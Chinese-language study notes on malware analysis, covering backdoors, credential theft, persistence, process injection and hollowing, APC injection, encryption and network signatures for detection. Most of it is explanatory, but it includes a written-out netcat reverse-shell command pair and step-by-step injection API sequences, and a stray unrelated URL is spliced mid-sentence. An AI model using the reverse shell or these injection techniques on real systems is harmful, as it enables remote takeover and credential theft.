五、恶意代码功能
(一)恶意代码行为
1、下载器和启动器
下载器:通常会与漏洞利用打包在一起,通过调用URLDownloadtoFileA和WinExec两个api来实现下载并运行其他恶意代码
启动器:通常为可执行文件,用来安装立即运行或将来秘密执行的恶意代码,通常包含一段它所运行的恶意代码
2、后门:是攻击者远程访问受害机器
通常由一套通用的功能:操作注册表、列举窗口、创建目录、搜索文件等
通常也会涉及网络通信,最长使用80端口的http协议
(1)反向shell:从被感染的机器上发起一个连接,提供攻击者shell访问被感染机器的权限。攻击者能够通过反向shell如同在本地一样运行命令
【netcat反向shell】:
远程主机输入:nc -l -p 80 //监视向80端口发送的所有消息
在被攻击的主机中执行:nc hostip 80 -e cmd.exe //将远程主机执行的cmd命令套接到被攻击的主机上
(这一步可通过编写木马程序实现)
【windows反向shell】:
基础方法:调用CreateProcess函数用隐藏窗口方式创建cmd,建立套接字,与远程主机建立连接,绑定这个套接字与cmd标准流
多线程技术:调用CreatePipe绑定一个管道的读写端,CreateProcess绑定一个管道与标准流,而不直接与套//代码效果参考:http://hnjlyzjd.com/hw/wz_24970.html
接字绑定,这样会产生两个线程,一个用来从标准输入管道读数据,并向套接字写数据;另一个用来从一个套接字读数据,并向一个标准输出管道写数据。(2)远程控制工具
由客户端和服务端组成,客户端用于控制攻击的执行,服务端被安装在受害机器上,通常用80 443等端口提供服务
(Poison Ivy:远程控制工具,可以为实验提供样本)
(3)僵尸网络
通过大范围感染计算机,可用户传播恶意代码或执行ddos攻击
【与远程控制的比较】:
远程控制工具只控制少数计算机,因为要与被控制计算机进行紧密交互,一般用来发起针对性工具
僵尸网络会在同一时刻控制巨大规模的计算机,进行大规模攻击
3、登录凭证窃取
(1)GINA拦截
恶意代码使用微软图形识别和验证界面(GINA)拦截技术窃取用户登录信息
恶意代码工作在winlogon.exe和msgina.dll中截获登录凭证,要实现此功能,恶意代码就必须包含GINA全部的导出函数,大概超过15个,前缀都为Wlx,在分析中如果看到大量的以Wlx为前缀的导出函数则可以判断为一个GINA拦截器
(2)转储口令哈希
通过调用GetProcAddress和GetHash函数来转储口令哈希,尤其会多次调用GetProcAddress函数
(3)击键记录
恶意代码通过记录用户击键数据,如:用户名、密码来窃取登录凭证
【基于内核的击键记录器】:在用户模式下很难探测,通常作为Rootkit的一部分作为键盘驱动,捕获击键
【用户空间击键记录器】:使用SetWindowsHookEx函数安装挂钩,轮询按键状态,通过配合GetAsyncKeyState识别按键是否按下且是否在最近一次该函数调用后按下,和GetForegroundWindow识别当前聚焦的前端窗口,捕获特定应用的击键记录
4、存活机制
(1)windows注册表
有很多目录可以实现这种功能
特殊的目录项:
【AppInit_DLL】:
此项中的Dll程序在进程加载User32.dll时加载
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\
【Winlogon】:
可以挂钩特殊Winlogon时间,如关机、注销等,可以在安全模式下运行
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
【SvcHostDll】:
将恶意代码作为服务运行
svchost.exe程序作为一个实例,运行一组服务,一下位置包含该组:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\
服务定义于一下位置
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName
修改服务会调用CreateServiceA函数,可以作为关注方向
(2)特洛伊木马化系统二进制文件
修改系统文件函数入口点,先使运行跳转到恶意代码,再调回正常部分,不影响系统运行,常用手段:覆盖函数开始代码或覆盖一些不影响系统运行的文件,或者被插入到可执行文件的空节中
可以先查询系统文件MD5哈希值,如果与未被感染的不同,则将可以版本与干净版同时加载到反汇编程序中,比较DllEntryPoint函数,查看跳转位置的不同
反汇编窗口中可以看到pusha操作被恶意代码用来保存寄存器初始状态,待其运行后使用popa恢复
(3)DLL加载顺序劫持
系统中会利用KnownDLL注册表键可以跳过DLL的加载过程
DLL加载顺序劫持可以被system32之外目录中的二进制文件利用,来加载system32目录中未被KnownDLL保护的DLL程序
5、提权
使用SeDebugPrivilege
这一特权作为系统级别调试工具被创建,恶意代码可以用它来获取系统进程拥有的权限
6、隐藏自身踪迹——用户态的Rootkit
Rootkit会修改用户态的应用程序,但大部分会修改内核,因为大部分入侵防护系统都运行在内核层
【两种用户态的Rootkit】:
(1)IAT Hook
用挂钩方式将Rootkit插入正常代码中,执行完Rootkit后在转回正常代码继续执行,方式上讲只是简单修改函数指针
但这种方式现在已经过时且易于检测
(2)Inline Hook
通过覆盖导入DLL中API函数的代码来实现,所以必须等到DLL被加载后才能执行。这种技术会修改实际的函数代码
(二)恶意代码的隐蔽启动
1、启动器
也叫加载器,可以设置自身或其他恶意代码片段秘密运行的恶意代码,启动器往往在自身资源节中包含要加载的恶意代码,在执行这些恶意代码时,需要将这些代码从资源节中提取出来,故在分析时,经常能看到调用资源的API:FindResource、LoadResource、SizeofResource等,由于启动器需要管理员权限,所以一些启动器也可能会包含提权代码,这也可作为分析的入手方向之一。
2、进程注入
这是当今最流行的隐藏启动的技术,这种技术往往可以隐藏恶意代码的运行,甚至可以作为绕过以进程为对象的安全机制(防火墙等)的手段,
**
【可能会被调用的API】:
VirualAllocEx:在另一个进程中分配一块内存空间
WriteProcessMemory:向上一个函数分配的地址空间写数据
这两个函数是进程注入中不可缺少的函数
**
(1)DLL注入
恶意代码使用CreateToolhelp32Snapshot、Process32First和Process32Next几个api函数查找进程列表中的目标进程;
发现目标进城后,启动器会提取目标进程的进程标识符;
以提取的进程标识符调用OpenProcess,获取目标进程的句柄;
使用CreateRemouteThread函数执行注入,在注入之前,会一次调用VirualAllocEx和WriteProcessMemory为恶意动态库的名字字符串创建内存空间并将dll程序的名字字符串写入到这个空间,然后调用GetProcAddress获得LoadLibrary地址,最后执行注入
注:CreateRemouteThread需要三个重要参数:OpenProcess函数获得的进程句柄hProcess、注入线程的入口点lpStarAddress、线程参数hpParameter
【处理手段】:
以上是注入行为,如果在反汇编时看到注入行为,就应该开始查找包含恶意DLL名字和受害进程名字的字符串,它们通常在代码运行之前被获取,
启动器在确定受害进程的PID时,通常能在strncmp函数中发现受害进程名字,也可在能被识别的缓冲区被传到WriteProcessMemory时,转储栈,找出缓冲区中的值
能够识别DLL注入代码的模式和受害进程名字等信息,就能分析整个恶意代码启动器的行为
(2)直接注入
同DLL注入原理相同,大多数时候被用来注入shellcode,分析时需要调试恶意代码,并在反汇编器中转储WriteProcessMemory调用发生前所有的内存缓存区。
3、进程替换
通过调用CreateProcess函数,并传递CREATE_SUSPENDED作为dwCreationFlags参数,创建一个挂起状态的进程;然后通常使用ZwUnmapViewOfSection释放有参数指向的所有内存空间,解除内存映射之后,加载器通常执行VirtualAllocEx为恶意代码分配新空间,并借助循环结构用WriteProcessMemory将恶意代码的每个段写入到受害进程内存空间;使用SetThreadContext函数让入口点指向恶意代码,使其运行;最后调用ResumeThread函数,初始化恶意代码并执行。到此,恶意代码完全替代了受害进程,并且与被替换的进程拥有相同的特权级
进程替换会将恶意代码伪装成合法程序,绕过防火墙和入侵防御系统
4、钩子注入
恶意代码可以利用windows钩子拦截发往某个应用程序的消息,完成以下功能:
(1)、保证无论何时拦截到一个特殊消息,恶意代码都会被运行;
(2)、保证一个特殊DLL被载入到受害进程的内存空间
(1)本地和远程钩子
本地钩子被用来观察和操纵发往进程内部的消息;
远程钩子被用来观察和操纵发往一个远程进程的消息;(系统中另一个进程)
其中远程钩子分为上下两层:上层挂钩要求钩子例程是DLL程序的一个到处函数,被操作系统映射到被挂钩线程或所有线程的进程地址空间;下层则要求钩子里程被保护在安装钩子的进程中
(2)使用钩子的击键记录器
有两种类型:
第一种使用WH_KEYBOARD例程类型,钩子运行在远程进程上下文空间中,也可运行在安装钩子的进程空间中
第二种使用WH_KEYBOARD_LL例程类型,事件直接发送到安装钩子的进程
(3)使用SetWindowsHookEx
钩子历程可以包含处理消息也可以不处理。但无论如何都必须调用CallNextHookEx,以保证调用链中下一个钩子例程能够得到消息,保证系统正常运行
(4)目标线程
恶意代码如果载入所有进程,会降低系统运行速度,出发入侵防御系统,通常会选择注入单个线程的方式保持其隐蔽性
指定单线程为目标,要求查找进程列表中的目标进程,如果目标没有运行,恶意代码就要县启动它,这个时候恶意代码往往不会挂钩经常使用的windows消息,以避免出发入侵防御系统,而是使用一个不常使用的消息,如:WH_CBT
5、Detours
恶意代码可以使用Detours库来添加一个新的DLL到硬盘上的二进制文件。通常,恶意代码修改PE结构,并且创建一个名为.detour的段,通常位于导出表和调试符号之间,这个段在新的导入地址表中包含了原始的PE头部。可以修改PE头,使其指向新的导入表
6、APC注入
APC即Windows异步过程调用,可以调用一个现有线程,恶意代码可以使用这种方式使用远程进程中的函数而不必增加系统开销,以免出发入侵防御系统
APC可以让一个线程在它正常的执行路径运行之前执行其他代码,每个线程都有一个附加的APC队列,它们在线程处于可警告的等待状态是被处理
如果应用程序在线程可警告等待状态时排入一个APC队列,线程将从调用APC函数开始,逐个调用APC队列中的所有APC,当队列完成时,线程才继续执行
APC存在形式:(1)为系统或驱动生成的内核模式APC;(2)为应用程序生成的用户模式APC
注意WaitForSingleObjectEx、WaitForMultipleObjectEx、SleepEx几个函数,可用来处理等待APC
(1)用户模式APC注入
用户模式的APC要求线程必须处于可警告等待状态,这个时候可以使用QueueUserAPC函数排入一个让远程线程调用的函数,这个函数有三个参数:pfnAPC、hThread、dwDtata。具体实现是用句柄为hThread的线程使用参数dwData运行pfnAPC中指定的函数
(2)内核模式APC注入
恶意代码驱动和Rootkit有时候也需要在用户空间执行代码,常常在内核空间执行APC注入,创建一个APC,然后分配给用户模式进程中的一个线程
主要使用两个函数:KeInitializeApc和KeInsertQueueApc
先使用前者调用初始化一个KAPC结构并传递给后者,以将APC对象放在目标线程相应的APC队列中
(三)数据加密
1、恶意代码加密的目的:
隐藏配置信息(命令和控制服务器域名);
窃取信息之前将它保存到一个临时文件;
存储需要使用的字符串;
隐藏必要信息伪装称为合法工具;
2、简单的加密算法
(1)凯撒密码
简单的移位来达到隐藏信息目的
(2)XOR
将明文与某个特定密钥字符执行逻辑异或运算进行加密;c=a^b;//加密
解密是再将密文与之前选定的密钥进行逻辑异或运算得到明文;c=c^b;//解密
c语言中的逻辑异或运算符为“^”;
通常还有一种加密做法——保留NULL的加密,即当明文字符不为NULL和密钥时,才执行逻辑异或运算,否则跳过
使用IDA分析时,可以忽略xor eax,eax指令,这是清空寄存器的一种方式;同时注意,xor通常与循环结构共同构成简单加密函数;
(3)Base64
将二进制数据转化成64个字符的有限字符集,并且加密后的数据长度可以被四整除,通常不足部分用一个额外字符填充,通常是“=”;
3、常见的加密算法
(1)识别字符串和导入
恶意代码使用标准加密算法,当加密库(如openSSL)被静态编译时,会出现相关字符串;可以通过识别涉及加密算法使用的字符串找到破解方法
一些标准加密算法会使用哈希,密钥生成或加密相关服务的导入函数,微软涉及加密的函数都已Crypt、CP、Cert为前缀
(2)查找加密常量
使用可以搜索常见机密常量的工具,如IDA的FindCrypt2和Krypto ANALyzer插件
(3)查找高熵值内容
可以使用IDA的idaentropy-plugin插件
4、自定义加密
恶意代码编写者可以组合多个简单加密算法或自己定义一个类似于标准加密的算法
(1)识别自定义的加密
对于无法通过上述方法破解的算法,可以跟踪其输入输出,一般加密会出现在输出之前,而解密发生在输入之后
5、解密
查找并分离出加解密函数后,有两种基本方法重现恶意代码的加密或解密:
重新编写函数;使用恶意代码中存在的函数;
(1)自解密:在程序正常活动期间自己完成解密
(2)手动执行解密函数:通常通过Python脚本实现
(3)使用通用的解密规范:尝试分离加密和解密例程,并想办法获得其参数,就有可能解密任意内容
(四)恶意代码的网络特征
1、网络应对措施
根据ip地址和端口,防火墙和路由器可以限制对网络的访问;配置DNS服务器,可以将一个已知的恶意域名重定向到内部主机(sinkhole技术);配置代理服务器,可以检测或阻止访问某些域名
(1)在原始环境中观察恶意代码
恶意代码分析的首要任务不应该是实际运行恶意代码或剖析其反汇编代码,而是利用现有信息分析其基本情况,如生成的日志、报警以及网络包
(2)恶意代码行为的痕迹
通过运行该恶意代码并监听其网络行为,通常可以获得其请求的ip地址,dns服务器或通过某个域名获得了哪些信息等,通过对获得的这些信息进行检索后得到的信息都可以作为分析的着手点
(3)OPSEC=操作安全性
OPSEC是政府和军方的术语,用来描述防止敌方获得敏感信息的过程
简单的说就是要使自己的分析调查过程不被攻击者有所发觉,从而给自己的分析工作带来难题
2、安全地调查在线攻击者
(1)间接性策略
使用提供匿名的服务或者机制,如tor的开放代理或基于web的匿名器
使用虚拟机。连接方式采用匿名蜂窝连接、vpn或shell连接、云服务提供的临时远程机器
(2)获取IP地址和域名信息
3、基于内容的网络应对措施
有时候ip地址和域名能够提供的信息价值是短暂的,因为攻击者可以快速在不同地址或域名间跳转,所以从一定程度上讲,基于内容的特征更能提供有价值的信息
【入侵检测系统规则开发典型属性:】
(1)大多数特征是基于网络流量的分析建立而不是基于对产生流量的恶意代码进行深入分析而创建的;
(2)测试特征指定的独特模式以确定特征的零误报;
编写规则最重要的是确定目标内容中的可变元素,通常会大范围用到正则表达式
【正则表达式:】
例如用规则:We【a-z0-9】{4}。来产生随机字符串,则出现的字符串可能为:We4fea、We8a5g……等’
方括号【 】:表示可能的字符集合;
大括号{ }:表示字符个数
4、结合动态和静态分析技术
静态分析可以产看目标的生成位置及生成方式;
动态分析用来验证静态分析所预测的行为;
(1)恶意代码分析深入级别:
表面分析:对初始痕迹标志的分析,等同于沙箱输出
通信方法覆盖:理解恶意代码的每一种通信技术
操作可复制:创建一个可以运行恶意代码全部操作的工具(如:木马的服务控制端)
代码覆盖:理解恶意代码的每个模块
(2)免杀手段:
【1】、攻击者模拟现有协议
构造域名,如:来传送密码;
构造浏览器user-agent字段模拟正常流量等
【2】、攻击者利用现有的基础设施
在web页面中插入恶意代码指令,由恶意代码读取该页面获得攻击指令
【3】、利用客户端发出的信令
(3)理解周边代码
通过多次运行恶意代码,获得其每次输出信息的相同或不同点,以确定恶意行为是如何发生的
(4)寻找网络操作代码
恶意代码运行过程中如果与网络有关联,则势必会调用一些与网络有关的API,通过了解这些API的功能来确定恶意代码的恶意行为
(5)了解网络内容的来源
获取恶意代码特征最有价值的部分来自于恶意代码硬编码部分。此外也可以从一下来源获取一定的特征:
【1】、随机数据
【2】、来源于标准网络库的数据(如:网络API等)
【3】、来源于恶意代码的硬编码数据
【4】、关于主机及其配置信息的数据
【5】、远程服务器
5、了解攻击者的意图
攻击者的意图大多在于把恶意代码与正常流量混淆以逃避检测;
可以从以下几个思路来进行必要的应对:
【1】、当恶意代码存在服务\控制两端触发机制时,可以通过找到两端共同使用的协议元素作为特征加入入侵检测系统,因为攻击者修改两端代码的难度远大于修改一端;
【2】、着手一些硬编码元素,如:协议组件,user-agent字段等不可单方修改的元素,原理同一;
【3】、查找恶意代码产生的网络流量中不太明显的协议元素,尤其在多人协同的时候,一个人开发出的特征有可能阻碍或提前破坏另一个开发出的特征;